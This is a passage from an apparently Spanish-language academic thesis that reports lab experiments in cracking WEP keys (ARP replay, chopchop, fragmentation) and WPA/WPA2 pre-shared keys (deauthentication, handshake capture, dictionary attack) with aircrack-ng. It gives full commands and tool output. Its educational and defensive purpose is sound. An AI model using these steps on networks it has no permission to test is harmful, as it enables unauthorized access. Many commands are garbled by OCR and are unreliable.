una tarjeta wireless para generar paquetes en una red inalambrica y que
permitieran averiguar la clave WEP de un punto de acceso. Esta practica
experimental especifica 4 procedimientos detallados con ejemplos para lograrlo.
Dichos procedimientos ilustran situaciones veridicas ya que fueron
implementados en la realidad y no Unicamente de manera teorica. Todos los
ejemplos rompieron con éxito las claves WEP de las redes inalambricas

atacadas.

La idea basica es usar la tarjeta wireless como cliente para generar
paquetes de datos con IVs, que podra ser usada para obtener la clave WEP.
Normalmente el punto de acceso genera paquetes de datos con IVs; entonces
es necesario asociar un cliente wireless al punto de acceso, principalmente por

estas razones:

e Algunos puntos de acceso generan IVs con un tamafio max de 130k
e Algunos puntos de acceso imponen controles Cliente-a-cliente

e Existencia de filtrado MAC

e Puntos de acceso que no generan IVs débiles (weak 1Vs)

e No puede efectuarse una falsa asociacion de forma exitosa
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e Se encuentra cerca de un cliente pero muy lejos del punto de acceso, de

forma que es inalcanzable.

5.2 Solucién

5.2.1 Puntos de partida

e Se cuenta con una tarjeta wireless con las mismas caracteristicas que el
cliente habitual. Por ejemplo Gy G, Ay A. No aplica una tarjeta B si el

cliente tiene una tarjeta G.

e Se tiene airodump-ng instalado correctamente.

e Latarjeta wireless esta instalada y puede inyectar paquetes.

e Se esta fisicamente suficientemente cerca del cliente habitual para

enviarle paquetes a él y recibirlos de él.

e Se tiene Wireshark instalado y ademas conocimientos basicos sobre

cémo usarlo.

e Se estd usando la version estable 0.9 de aircrack-ng. Esto es muy
importante puesto que hay un bug en la version 0.6.2 con aireplay-ng

gue no soporta las opciones -k y -l con las direcciones IP.

e El archivo de captura tiene el nombre: arpcapture-01.cap
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5.2.2 Equipo usado

5.2.2.1 Cliente Wireless habitual

Sistema operativo: Microsoft Windows XP (no importa realmente)

Direccion MAC: 00:0F:B5:46:11:19

5.2.2.2 Punto de acceso

e ESSID: teddy (no es importante)

e Direccion MAC: 00:14:6C:7E:40:80

e Canal de transmision: 9

5.2.2.3 Sistema con la suite Aircrack-ng

Sistema operativo: Linux

Direccion MAC: cualquiera
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5.2.2.4 Tarjeta Ethernet estacion de trabajo

e Sistema operativo: Linux

e Direccion MAC: 00:40:F4:77:F0:9B

5.2.2.5 Tarjeta Ethernet estacién de trabajo

e Sistema operativo: Linux

e Direccion MAC: 00:0D:60:2E:CC:E1

5.2.2.6 Tarjeta Wireless estacion de trabajo

e Sistema operativo: Linux

e Direccibn MAC: 00:09:5B:EC:EE:F2

5.2.3 Escenarios

Esta practica experimental cubre cuatro escenarios:
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e Escenario uno: Empleando paquetes de datos capturados.

e Escenario dos: Empleo interactivo de paquetes en tiempo real

e Escenario tres: Creando un paquete de un ataque chopchop

e Escenario cuatro: Creando un paquete de un ataque de fragmentacion

5.2.3.1 Escenario uno - Empleando paquetes de datos

capturados

Se usara un paquete de datos capturado. Se supone gue se ha estado
ejecutando airodump-ng y que se capturaron paquetes del punto de acceso y se

cree tener algunos arps que podrian ser usados para inyectarlos.

Los paquetes ARP no son los Unicos que podemos usar. Pero nos
centramos en estos porque son los que garantizan que tengamos éxito y
ademas son los mas faciles de encontrar en un archivo de capturas. Decimos
gue los ARPs nos garantizan el éxito porque el cliente debe responder a una
peticion arp (arp request) directamente. Debe recordarse que no es cualquier

ARP, debe ser un ARP para el cliente especifico al que queremos atacar.
Primero, se tienen que haber capturado paquetes del punto de acceso en

cuestién. Para reducir el tamafio, se podria haber usado el filtro BSSID y

especificar el canal. En este ejemplo:
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Figura 24. Uso del comando airodump para capturar datos

airodwmp-ny —charniel 2 -bssid 00:14: 6C:7E:40:80 —w aproapture athil

Es necesario uno o mas clientes wireless activos mientras se realiza la
captura. Si no hay actividad alguna, serd imposible que se capture algun
paquete de datos. Mientras se esta capturando datos, puede copiarse el archivo
para analizarlo mientras la captura continua. También se puede ejecutar

WireShark en tiempo real y ver los paquetes tan pronto como nos llegan.
Ahora el objetivo es encontrar un paquete ARP del punto de acceso a un

cliente. El cliente siempre respondera al “arp request’. Esto significa que el

cliente generara un “arp reply” que regresara al punto de acceso.

5.2.3.1.1 Caracteristicas del paquete que se busca:

e BSSID: punto de acceso

e Direccibn MAC de destino: Broadcast (FF:FF:FF:FF:FF:FF)

e Direccibn MAC origen: cualquiera

e Longitud del paquete: 68 6 86 (68 es habitual en los paquetes arp

originados por los clientes wireless. 86 es tipico de los paquetes arp de

los clientes cableados ethernet.).
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5.2.3.1.2 Caracteristicas del paquete “de salida”:

e BSSID: punto de acceso

e Direccibn MAC de destino: si es la MAC de origen del paquete de

entrada significa que el cliente le est4 contestando.

e Direccion MAC origen: Direccion MAC del cliente

e Longitud del paquete: 68 6 86 (68 es habitual en los paquetes arp
originados por los clientes wireless. 86 es tipico de los paquetes arp de

los clientes cableados ethernet.)

Resumiendo, buscamos un “ARP request” al cliente y la subsecuente

respuesta.

Para ello introducimos el siguiente filtro en Wireshark:

(wlan.bssid == 00:14:6c¢:7e:40:80 and (frame.pkt_len>=68 and frame.pkt_len le 86))

Esto selecciona los paquetes que salen o llegan al punto de acceso y
gue tienen una longitud entre 68 y 86 inclusive. Se tendra que cambiar el
“‘wlan.bssid” por la direccion MAC del punto de acceso y probablemente
cambiar la longitud de los paquetes a buscar para encontrar mas facilmente

cual es el adecuado. El filtro expuesto deberia de ser un buen punto de partida.

Una vez que se tengan localizados los paquetes, se puede usar otro filtro

para reducir la busqueda a un cliente especifico:
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(wlan.bssid == 00:14:6¢:7€:40:80 and (frame.pkt_len>=68 and frame.pkt_len le 86) and (wlan.da
== ff.ff.ff.ff.ff:ff or wlan.sa == 00:0f:b5:46:11:19))

Cambiar el valor de “wlan.sa” por el del cliente que se desea atacar.

Cambiar la longitud del paquete para reducir las posibilidades si es necesario.

Resumiendo, estamos buscando un “ARP request’” y la susecuente
respuesta. Aqui se describe un resumen de los paquetes en cuestion. Los

paquetes estan numerados desde el primero al dltimo por orden:

e 391 - Este es un “arp request” de un cliente cableado a otro que esta
siendo retransmitido (broadcast) por el AP. Este paquete nunca ha sido

contestado por lo que debe haberse perdido.

e 416 - Este es un nuevo “arp request”’ porque el primero (391) no ha sido

contestado.

e 417 - Esta es la respuesta. El cliente envia un “arp response” al cliente
cableado a través del AP. Préstese atencién al corto periodo de tiempo
entre el “arp request” y el “arp response”.

e 501 - Un cliente wireless envia un “arp request” a otro a través del AP.
Este paquete es una peticion al AP para que reenvie el “arp request’ a

otro cliente.

e 503 - El AP reenvia el “arp request” a todos los clientes wireless.
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e 504 - El cliente envia la respuesta o “arp response” a la otra tarjeta
wireless a través del AP. Este paquete es realmente una peticion al AP

para que envie la respuesta “arp response” a la estacion wireless

e 506 - Este es el “ARP response” retransmitido desde el AP al cliente

wireless.

Los dos posibles paquetes que podemos usar son 416 6 503. Se puede
escoger cualquiera de los dos. ElI 503 es mejor, puesto que genera dos
paquetes por cada uno que nosostros inyectemos: La respuesta del cliente al
AP y la del AP al cliente wireless. Basicamente se doblara la velocidad (rate) de
inyeccion. Si se desea incrementar la velocidad de inyeccion, esta es una

técnica.

Una vez que se ha encontrado uno o mas de estos paquetes, debe
marcarse (Mark packet). Despues se debe grabar el paquete con un nombre
como por ejemplo “dsarprequests.cap” u otro nombre. Ahora se tiene un archivo

con un “ARP requests”.

Recordar que no tenemos garantizado totalmente que el paquete
seleccionado funcione. Solo es un candidato seleccionado basado en la
observacion. Puede que necesites probar un poco con otros paquetes para

conseguir que funcione.

Reiniciar la captura de paquetes si todavia no esta funcionando:
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Figura 25. Uso del comando airodump para caputar datos

ajrodimp-ty —-channel 9 —-bssid 00:14: 6C:7E: 40: 80 ——iws -w aprcapture athi

Ahora se usa el ataque de inyeccion interactivo en otra consola:

Figura 26. Uso del comando aireplay con ataque de inyeccion interactiva

aireplay-—ny - -r dsarprecquests.cap athl

De esta forma se esta enviando el “ARP requests” desde el PC atacante
al cliente directamente, y no a través del punto de acceso. El cliente enviara una
respuesta “ARP replay” por cada “arp request’. Ahora los paquetes de datos
comenzaran a crecer espectacularmente. Iniciar aircrack-ng (“aircrack-ng

arpcapture*.ivs”) en una tercera consola y se obtendré la clave wep.

5.3.3.2 Escenario dos - Empleo interactivo de paquetes

en tiempo real

En este escenario se realizara la captura y la inyeccién al mismo tiempo.
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Primero, se comienzan a capturar paqguetes que emite o recibe el punto
de acceso en cuestion. Para reducir el tamafio del archivo, usa el filtro de

BSSID y especifica el canal. En este ejemplo:

Figura 27. Uso del comando airodump para capturar datos

airodimp-ty ——chantel 2 —-bssid 00:14:6C:7E: 40: 30 ——iws —w aprcapture athld

Ahora abre una segunda consola para iniciar la inyeccién interactiva:

Figura 28. Comando aireplay para lanzar ataque de ineyeccién interactiva

aireplay-rng —£ -b 00:14:&C:7E:40:830 -d FF:FF:FF:FF:FF:FF -f 1 -m &% —n 86 athl

Se tendra que cambiar “-b” por la direccion MAC del punto de acceso

deseado. Se anade el tamafio minimo “-m” y maximo “-n” del paquete. Lo
habitual es poner un minimo de 68 y un maximo de 86. A manera experimental

puede experimentarse con otros valores.
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5.3.3.2.1 Caracteristicas del paquete buscado:

e BSSID: punto de acceso

e Direcciébn MAC de destino: Broadcast (FF:FF:FF:FF:FF:FF)

e Direccion MAC de origen (Source MAC): cualquiera

e Direccién: desde el punto de acceso

e Tamafo del paquete (Size): 68 6 86 (68 es lo habitual para paquetes arp
originados por clientes wireless. 86 es habitual para “arp requests” de
clientes cableados)

Las otras opciones que afiadimos al comando son:

o -d f:Aff:Af:ffff:ff (Significa que solo nos ensefie paquetes “Broadcast”)

e -f 1 (significa que solo nos ensefie paquetes que salen del punto de

acceso)

Este es un ejemplo de un paquete que deberiamos seleccionar:
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Figura 29. Salida a pantalla del

comando aireplay, paquete parainyectar
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Se tiene que recordar que es necesario probar algunos paquetes para
conseguir que funcione. EI ARP debe ser de un cliente wireless. Una vez que se
esté inyectando paquetes y se tengan suficientes, iniciar aircrack-ng para

obtener la clave WEP.

Primero se necesita generar el archivo XOR. Este archivo brinda la

5.3.3.3 Escenario tres - Creando un paquete de un

ataque chopchop

posibilidad de crear nuevos paquetes encriptados para inyectarlos.
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Puede ejecutarse el siguiente comando y seleccionar un paquete de un
tamafo adecuado. Tiene que ser mayor que el paquete ARP que el que se
desea crear. Por lo tanto, se elige algo como 86 o mas bytes. También se
necesita determinar la direccion IP que esta usando. Por lo tanto se elige un
paquete con origen o destino la direccion MAC de la estacion wireless. La razén
de esto es que después se usara tcpdump para mirar los paquetes

desencriptados y obtener la direccién.

Figura 30. Uso del comando aireplay para lanzar ataque chop chop

aireplay-ng -4 athd -h 00 0F.BS:46:11:19

Cambiar -h por la direccion MAC del cliente asociado con el AP. Puede
tambien hacerse una falsa autenticacién y usar esta MAC. Es solo porque es
mas simple usar una MAC ya asociada al AP.

Aunque este ejemplo es de un “arp request’, como se menciono

anteriormente, deberia de probarse capturar un paquete con origen o destino la

tarjeta wireless. Aqui esta la salida del ejemplo:
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Figura 31. Salida a pantalla del comando aireplay lanzando ataque chop chop
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Después debe observarse el paquete desencriptado con Wireshark o

tcpdump para conseguir la informacion sobre la IP que necesitamos. Si se

tienen dudas sobre cémo hacerlo, observar el ejemplo a continuacion.

En este caso, se ha tenido suerte y se consiguio la IP del cliente wireless.

Puede que se que tenga que probar unos cuantos paquetes para conseguir la

IP del cliente wireless.
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Figura 32. Uso del comando tcpdump para visualizar paquetes

topdunp -t -wwy -2 -30 -r replay dec-1231-1330Z1. cap

(802.11)

reading from f£ile replaw dec-1231-1330Z1.cap, link-type IEEES0Z_11

153:30:21.150772 Ous= Da:Broadcast BS3ID:00:1d:6c:7e:40:50
5A:00:40:£4:77:£0:9 LLC, dsap A3NAP (0Oxaa), ssap S5SMNAP (Oxaa),
0x03: oul Ethernet (0x000000), ethertype ARF [(0x0306): arp who-has

cmd

Ahora se tiene la IP del cliente wireless y se puede usar el archivo xor

para crear un paquete ARP. Asegurarse completamente de incluir las opciones

-jy-o.

Como se esta usando la version 0.9 entonces el comando adecuado es:

Figura 33. Uso del comando packetforge para creacion de paquetes

replay_dec-1231-133021.x0r -w arpforge. cap

packetforge-ng --arp -a 00:14:6C:7E:40:50 -c 00:0F:EB5:46:11:19 -h
00:40:F4:77:F0:9E -3 -0 -1 192.165,55.109 -k 192.165.55.5%1 -v

e -a00:14:6C:7E:40:80 direcciéon MAC del punto de acceso

e -c00:0F:B5:46:11:19 direccion MAC del cliente wireless
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e -h 00:40:F4:77:F0:9B direccion MAC de un cliente ethernet. Puede

falsificarse la direccion MAC si no se conoce una valida.

e -1192.168.55.109

e -k192.168.55.51

e -yreplay_dec-1231-133021.xor

e -jfija el bit de “FromDS”

e -0 elimina el bit de “ToDS”

Después de crear el paquete, usar tcpdump para revisarlo. A

continuacion, parece estar correcto:

Figura 34. Uso del comando tcpdump para revisién de paquetes creados

topdunp —n —vww -2 —=s0 —r arpforge. cap
reading from file arpforge. cap, link-type IEEES02_11 (20Z.11)

13:3z2:06_ EZ3444 TWEP Encrypted Z58as DA:Broadecast BSSID:00:14:6c:7e:40:20
BA-00:40: £4:77:£0: %0 Data IWV: 1562 Pad 0 EevIDr O

Como se esta probando con el propio AP, desencriptar el paquete y
asegurarse que es correcto. Este paso no es necesario, solo sirve para

comprobar por que se ha generado el paquete correcto.
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Desencriptar el paquete con:

Figura 35. Uso del comando airdecap para desencriptar paquetes

airdecap-ng -e teddy -w <su clave WEP agui= arpforge.cap

Observar al paquete desencriptado:

Figura 36. Uso del comando tcpdump

tepdurnp -n -r arpforge-dec.cap

Debera aparecer esto:

Figura 37. Salida a pantalla del comando tcpdump

reading from file arpforge-dec. cap, link-type EN1OME [(Ethernet)

16:44:53.673597 arp who-has 192.168.55.51 tell 19:2.165.55.109

El paquete esta bien, ya que sabemos que nuestro cliente tiene la IP

192.168.55.109 y queremos capturar un “arp request” con destino ese cliente.
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Por lo tanto, ahora inyectamos el paquete:

Figura 38. Uso del comando aireplay para inyectar paquetes

aireplay-ng -2 -r arpforge cap atho

En este punto, deberia ser capaz de generar paquetes de datos para

usarlos con aircrack-ng y obtener la clave WEP.

5.3.3.4 Escenario cuatro: Creando un paquete de un ataque de

fragmentacion

El ataque de fragmentacion es basicamente o mismo que el chopchop.
La Unica diferencia es que se usa el ataque de fragmentacion para obtener el

archivo xor en lugar de la técnica chopchop.

Primero, se necesita usar la direccion MAC de un cliente asociado al AP

o0 hacer una autenticacion falsa.

Uno de los desafios es determinar que IP usar en el comando “aireplay-
ng -5” porque en teoria no se sabe el rango de IPs usadas en la red wireless.
Para esto hay algunas de estrategias que se pueden usar. Una primera buena
idea es usar una IP del rango con el que por defecto viene ese AP de fabrica.

Muy poca gente cambia las direcciones IP por defecto. Otra alternativa es mirar
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si podemos obtener la IP interna del AP a través de alguna vulnerabilidad a
través de servidores web, paginas web, cabeceras de e-mail, etc.

Ademas, hay un truco que funciona en la mayoria de los AP. Usar una IP
255.255.255.255. Por defecto, aireplay-ng usa 255.255.255.255 para ambas IPs

de origen y de destino.

El comando a ejecutar es:

Figura 39. Uso del comando aireplay, ataque con paquete de fragmentacion

aireplay-ng -5 -b 00:14:6C:7E:40:230 -h 00:0F:BE:456:11:159 athl

Waiting for a data packet. . .

Size: ldd4, FrowD3: 1, TaoDlS: 0O (WEP)

ESSID = D0O0:14:6C:7E:40:E80
Dest. MAC = O00:0F:BE:46:11:1%
Source MAC = 00:0D:e0:ZE:CC:El
Ox0000: 084Z 0z01 QOOf bE4E 1119 0014 &c?e 4080 _B.....F..._1l~@.
Ox0010: 0o00d &0Ze ccel 1083 YEL4 0000 Eda? d458 ... . ..r...]1..X
Ox0O0Z0:  &o90 0329 1Eab 3403 c37d &600b cdac Z706 1. .)..=..} ...'.
0x0030: 197 9253 65b3 f£163 1al? 2005 O4ff 28lf .. .8e..c........
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Contestar “y” y comenzara el ataque de fragmentacion. Esta es la salida
generada. Algunas veces se requerird intentar con varios paquetes para tener

éxito.

Figura 40. Salida del comando aircrack después de seleccionar paquete

Javing chosen packet in replay srec-0113-170504.cap
Data packet found!

Jending fragmented packet

Got RELAYED packet!!

Thatz our ARFP packet!

Trying to get 354 bytezs of a keystrean

Got RELAYED packet!!

Thatz our ARP packet!

Trying to get 1500 bytes of a Eeystrean

El archivo fragment-0113-170526.xor es el archivo XOR con el que

podremos generar el paquete arp para inyectar.
A partir de aqui el proceso es idéntico al del ataque chopchop. El gran

problema es conocer la direccion IP para usarla. Como se menciono antes hay

varias posibilidades, tendran que ser investigadas.

137



138



6. INFORME DE LA PRACTICA EXPERIMENTAL DE
ROMPIMIENTO DE CLAVES PRE COMPARTIDAS
WPA/WPA2

6.1 Introduccion

Este informe préctico describe como atacar redes inaldmbricas de area

local con cifrado WPA2 que utilizan llaves pre-compartidas.

WPA/WPA2 soporta muchos tipos de autentificacion mas alla de llaves
pre-compartidas. Esta practica utilizara la suite aircrack-ng, debido a su

capacidad para atacar llaves pre-compartidas.

Hay otra diferencia importante entre agrietar WPA/WPA2 y WEP. Este es
el enfoque usado para romper la llave pre-compartida WPA/WPA2. A diferencia
de WEP, donde los métodos estadisticos se pueden utilizar para acelerar el
proceso de rompimiento de clave, sélo las técnicas planas de fuerza bruta se
pueden utilizar contra WPA/WPA2.

Esto es debido a que la llave no es estatica, por lo que recoger IVs como
en el rompimiento de cifrado WEP, no acelera el ataque. Lo Unico que da la
informacion para comenzar un ataque es el handshake entre el cliente y el AP.
El handshake se hace cuando el cliente se conecta a la red. Aunque esto no es
absolutamente verdad, para los propositos de este informe practico, se

considerara asi. Puesto que la llave pre-compartida puede ser de 8 a 63
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caracteres de longitud, llega a ser casi imposible romper la llave pre-
compartida.

El Unico caso en que se puede romper la llave pre-compartida es cuando
esta es una palabra del diccionario o relativamente corta de longitud.
Inversamente, si se desea tener una red impenetrable, deben usarse
WPA/WPA2 y una contrasefia de 63 caracteres compuesta de caracteres al

azar incluyendo simbolos especiales.

El impacto de tener que utilizar un enfoque de fuerza bruta es
substancial. Porque el mismo calculo es intensivo, una computadora puede
probar solamente 50 a 300 llaves posibles por segundo dependiendo de la CPU
de la computadora. Puede llevar horas, si no es que dias, procesar un
diccionario grande.

No hay diferencia entre atacar las redes WPA o WPA2. La metodologia
de la autentificacion esta basicamente igual entre ellas. Por tanto las técnicas

que se utilizan son idénticas.

Se recomienda que se experimente con un punto de acceso inaldmbrico
casero para conseguir un ataque exitoso y comprender mejor estos términos y
técnicas. Si no se posee un punto de acceso particular, recordar que se debe
conseguir el permiso del duefio antes de atacarlo, pues aunque en Guatemala
aun no existen leyes que regulen la intrusion en redes WLAN, en algunos

paises es considerado un delito.
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6.2 Condiciones iniciales

Este informe experimental partié de las siguientes condiciones iniciales:

Utilizacién de la distribucién Linux WifiSlax 2.0.

Utilizacion de drivers parchados para modo monitor e inyeccion del

dispositivo inaldmbrico.

Localizacion cercana al AP para enviar y recibir paquetes del cliente.

Utilizacion de la version 0.9 de aircrack-ng.

6.3 Datos del equipo que se utilizd

Es necesario poseer dos adaptadores Wireless. En este informe particular,

se utilizo equipo con los siguientes datos:

e MAC address de la PC que funciona con la suite aircrack-ng: 00:0F: B5:
88: CA: 82

« MAC address del cliente Wireless que usa WPAZ2: 00:0F: B5: FD: FB: C2

« BSSID (MAC address del punto de acceso): 00:14: 6C: 7E: 40: 80

e ESSID (nombre de la red inalambrica): teddy
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e Canal del punto de acceso: 9

e Interfaz inalambrica: athO

6.4 Solucién

6.4.1 Descripciéon de la solucién

El objetivo es capturar el handshake de la autentificacion WPA/WPA2 y

después utilizar la suite aircrack-ng para romper la llave pre-compartida.

Esto se puede hacer con ataques activos o pasivos. “Activamente”

significa que los medios que aceleran el proceso son las desautentificaciones

de clientes de la red inalambrica. “Pasivamente” simplemente usa un cliente

inalambrico para autenticar a la red WPA/WPAZ2. La ventaja de la forma pasiva

€s que no se necesita realmente capacidad de la inyeccion.

Los pasos basicos que se tomaron:

1. Comenzar la interfaz wireless en modo monitor en el canal especifico del
AP.

2. Comenzar el airodump-ng en el canal del AP con el filtro para el bssid

para recoger el handshake de la autentificacion

3. Utilizar el aireplay-ng al desautentificar el cliente inalambrico
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4. Usar el aircrack-ng para romper la llave pre-compartida usando el

handshake capturado en la autentificacion

6.4.2 Paso 1 - Comenzar la interfaz inaldmbrica en modo del monitor

El proposito de este paso es poner el dispositivo en modo monitor. El
modo monitor es el modo en el que la tarjeta puede escuchar cada paquete en
el aire. EI comportamiento de la tarjeta es “escuchar solamente” los paquetes
tratados a la red. Escuchando cada paquete, podemos capturar mas adelante el
handshake en 4 vias de WPA/WPA2. También, nos permitird opcionalmente

desautentificar un cliente inaldmbrico en otro paso.

Inicialmente, detenemos la interfaz inalambrica:

Figura 41. Utilizaciéon del comando airmon

airmon-ng stop athl

A lo que el sistema responde:
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Figura 42. Salida a pantalla del comando airmon

Interface Chipset Driver
wifio Atheros wadwifi-ng
athl Atheros wmadwifi-ng VAP [(parent: wifil]

(VAP destroyed)

Usar el comando “iwconfig” asegurara que no existe ninguna otra interfaz

del tipo athX. La salida debe ser similar a la siguiente:

Figura 43. Salida del comando iwconfig

lo no wireless extensions.
ethi no wireless exXxtensions.
wifil no wireless extensions.

Si existieran algunas interfaces restantes del tipo athX, entonces detener
cada una. Ahora, ejecutar el comando siguiente para comenzar el dispositivo

inalambrico en el canal 9 en modo monitor:

Figura 44. Utilizacidon del comando airmon para iniciar modo monitor

airmon-ng start wifio
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Nota: En este comando utilizamos “wifi0” en vez de nuestra interfaz
inalambrica  “ath0”. Esto es porque se estan utilizando los controladores

madwifi-ng. El sistema respondera:

Figura 45: Salida del comando airmon

Interface Chipset Driver
wifio Atheros wadwifi-ng
athl Atheros wmadwifi-ng VAP [(parent: wifil]

[monitor mode enabhled)

Nétese que “ath0” esta marcado arriba como puesto en modo monitor.
Para confirmar que el modo de la interfaz, se utiliza el comando “iwconfig”. El

sistema responderd lo siguiente:

Figura 46. Salida a pantalla del comando iwconfig

1o no wireless extensions.
wifino no wireless extensions.
ethi no wireless extensions.
athl IEEE §0Z.11g ESS5ID: " Nickname:""

Hode:Monitor Fredquency::2.452 GHz Acceszs Point:
0O:0F:B5:88:4AC:82

Eit Rate:0 kb/s Tw-Power: 18 dBEm Sensitivity=0/3

Fetry: off BETS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=0/94 3Signal lewvel=-95 dEm MNoisze lewel=-95

Fx inwalid nwid:0 Bx inwalid crypt:0 B invalid frag:0
Tw excessive retries:0 Inwvalid misc:0 Missed beacon:0
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En la respuesta de arriba se puede observar que athO estd en modo
monitor, en la frecuencia 2.452GHz que es el canal 9 y el punto de acceso
demuestra el MAC address del dispositivo inalambrico. Solamente los drivers
madwifi-ng muestran la MAC address de la tarjeta en el campo del AP, otros
drivers no lo hacen Es importante confirmar toda esta informacion antes de

proceder, si no los pasos siguientes no trabajaran correctamente.

6.4.3 Paso 2 - Comenzar airodump-ng pararecoger el handshake de

la autentificacion

El propdsito de este paso es tener airodump-ng funcionado para capturar
el handshake de la autentificacion de 4 vias para el AP en que estamos

interesados. Ejecutar el comando:

Figura 47. Utilizacion del comando airodump

airodunp-tg -c 2 - -bszid
00:14:6C:7E:40:580 -w psk athl

Donde:

e -C9eselcanal parala red inalambrica.
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e --Dbssid 00:14: 6C: 7E: 40: 80 es la MAC address del punto de acceso.

Esto elimina trafico extrafo.

e - Ww psk es el prefijo del nombre del archivo que contendra el IVs.

e athO es el nombre del interfaz.

Importante: No utilizar la opcion “- - ivs”. Ya que solamente se deben

capturar los paquetes llenos.

Aqui se muestra como pareceria si un cliente inalambrico esta conectado

con la red:

Figura 48. Salida a pantalla del comando airodump con clientes conectados

CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58

Ba5ID PURE BX0 EBeacons #hata, #53 CH MEBE ENC
CIFHEER AUTH E33ID

00:14: 6C:7E: 40: 80 39 100 L 116 14 O 54 WPAZ CCMP
P3K teddy

BasID STATION PWER Lost Packets Probes

Q0:14:6C:7E: 40:80 O00:0F:BS:FD:FE:CZ2 35 0 116

Aqui se muestra como pareceria si ningun cliente inalambrico esta

conectado con la red:
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Figura 49. Salida a pantalla del comando airodump sin clientes conectados

CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51

EZSID PWE RxQ Eeacons #Dhata, #/2 CH MNE ENC
CIPHER AUTH ES3ID

00:14:6C:7E: 40: 80 39 100 3l ] 0 9 54 WPAZ
CCHFP P3E teddy

ESSID STATION PWE. Lost Packets Probes

6.4.4 Paso 3 - Utilizar aireplay-ng para desautentificar el

cliente inaldmbrico

Este paso es opcional. Se realiza solamente si se opt6 por acelerar
activamente el proceso. La condicién es que debe haber un cliente inalambrico
asociado actualmente al AP. Si no hay ningun cliente inaldmbrico asociado
actualmente al AP, pasar al siguiente paso. Es importante decir, que si un

cliente inaldmbrico aparece luego, se puede retroceder y realizar este paso.

Lo que hace este paso es enviar un mensaje al cliente inalambrico,
indicandole que ya no esta asociado al AP. El cliente inalambrico, entonces,
esperara reautenticarse con el AP. La reautentificacion que genera el
handshake de 4 vias que estamos interesados en recoger. Este es el que se

utilizara para romper la llave pre-compartida WPA/WPAZ2.

148



De acuerdo con la salida del comando airodump-ng en el paso anterior,
se determina al cliente que esta conectado actualmente. Se necesita la MAC

address para continuar.

Abrir otra sesion de la consola e ingresar el comando:

Figura 50. Uso del comando aireplay para lanzar ataque de desautencacion

aireplay-ng -0 1 -a 00:14:6C:7E:40:580 -c 00:0F:ES5:FD:FE:C2 athi

Donde:

¢ -0 indica desautentificar de los medios

e« 1 es el numero de los deauths a enviar (se pueden enviar muliples si se

desea)

e -00:14: 6C: 7E: 40: 80 es la MAC address del punto de acceso

e - 00:0 F: B5: FD: FB: El C2 es la MAC address del cliente que

desautentificamos

¢ athO es el nombre del interfaz

Esta es la salida que genera el comando:
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Figura 51. Salida del comando aireplay, mensaje de desautentificacion

11:09:28 Sending Deduth to station -— ATHMAC: [00:0F:EBES5:34:30:30]

Con suerte, esto causara que el cliente se reautentique y provea el
handshake de 4 vias.

NOTA: Los paquetes de la desautentificacion se envian directamente del
PC a los clientes. Por lo que se debe estar fisicamente bastante cercano a los

clientes para que las transmisiones inalambricas del dispositivo las alcancen.

6.4.5 Paso 4 - Lanzar aircrack-ng para romper la llave pre-
compartida

El propésito de este paso es agrietar realmente la llave pre-compartida
WPA/WPAZ2. Para lograrlo, se necesita como entrada un diccionario de palabra.
Basicamente, aircrack-ng toma cada palabra y prueba si ésta es la llave pre-
compartida.

Hay un diccionario pequefio que viene con aircrack-ng - “password.lst”.

Pero es recomendable recolectar mas, estan disponibles en Internet.

Luego, se debe abrir otra sesion de consola e ingresar el comando:
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Figura 52: Utilizacién del comando aircrack

aircrack-ng -w password.lst -b 00:14:6C:7E: 40:80 psk*.cap

Donde:

- W password.Ist es el nombre del archivo de diccionario. Recordar

especificar la trayectoria llena si el archivo no esta situado en el mismo

directorio.

Noétese que “*.cap” es la extension del grupo de archivos que contienen
los paquetes capturados. Notar en este caso que utilizamos el comodin * para

incluir archivos multiples.

Esta es la salida que se genera cuando no hay handshakes encontrados:

Figura 53. Salida a Pantalla del programa aircrack, handshakes no encontrado

Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Bead 18527 packets.

No walid WPA handshakes f£ound.
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Cuando sucede esto, se tiene que hacer de nuevo el paso 3
(desautentificar el cliente inalambrico) o esperar un poco mas si se esta
utilizando el acercamiento pasivo. Al usar el acercamiento pasivo, se debe

esperar hasta que un cliente inalambrico sea autentique al AP.

Esta es la salida tipica cuando se encuentran handshakes:

Figura 54. Salida a Pantalla del programa aircrack, handshakes encontrado

Opening psk-01.cap
Opening psk-02Z.cap
Opening psk-03.cap
Opening psk-04. cap
Fead 1527 packets.

# EBSSID ESSID Encryption
1 00:14:6C:7E:40:580 teddy WPA (1 handshake)

Choozing first network as target.

En este punto, aircrack-ng comenzard a procurar romper la llave pre-
compartida. Dependiendo de la velocidad del CPU y del tamafio del diccionario,

esto podia tomar un largo plazo, incluso dias.

Esta es la salida cuando se consigue romper con éxito la llave pre-

compartida:
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Figura 55. Salida a pantalla del programa aircrack, con clave encontrada

Aircrack-mg 0. &

[00:00:00] & kews tested (37.20 k/s)

FEY FOUHD! [ 12345678 ]

Mazster Hey : CD &9 0D 11 SE &4C &3 C5 CS EC BEE 559 55 7D 49 3SE

ES A5 13 CS5 44 72 G2 36 ED C3 7E =2C 5% S5E AR FD

Transcient KHey : 06 F& BEE F3 El 55 AE EE 1F 66 AE 51 1F F& 12 98

EaAP0L HMALC
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CONCLUSIONES

La utilizaciébn de las redes inalambricas de area local ha incrementado
debido a la facilidad de su implementacién y su costo accesible. También
debido a la comodidad que para el usuario doméstico y corporativo
representa mantener la comunicacion sin tener ninguna conexion fisica

(cables de red, teléfono, etc.).

Muchas redes inalambricas se instalan por personas no conscientes del
tema de seguridad, por lo que generalmente las redes instaladas son
abiertas, exponiendo toda la informacion que transmiten o convirtiéndolas

vulnerables al dejar el equipo con las condiciones de seguridad por defecto.

El cifrado WEP resulta inapropiado y obsoleto para un escenario donde se
requiera una seguridad eficaz y de alto nivel, debido a que su vulnerabilidad
radica en los niveles mas bajos de su funcionamiento y légica de
encriptacion, por ejemplo en la colisibn de valores del vector de

inicializacion.

. A pesar de mostrar algunas vulnerabilidades y algunos equipos no lo
soporten, WPA2 es la solucibn mas segura para proteger las redes

inalambricas de area local.

. WPA puede ser considerada como una implementacion de seguridad
aceptable para todos los dispositivos que no soporten WPA2, sin embargo
WPA2 sera en un futuro cercano el estdndar que brinde mayor seguridad

inalambrica debido a que corrige las debilidades del cifrado WEP, las
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vulnerabilidades del estandar IEE 802.11 y la forma de autenticacion de
WPA.
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RECOMENDACIONES

1. Que todos los dispositivos y equipo inalambrico sean almacenados en un
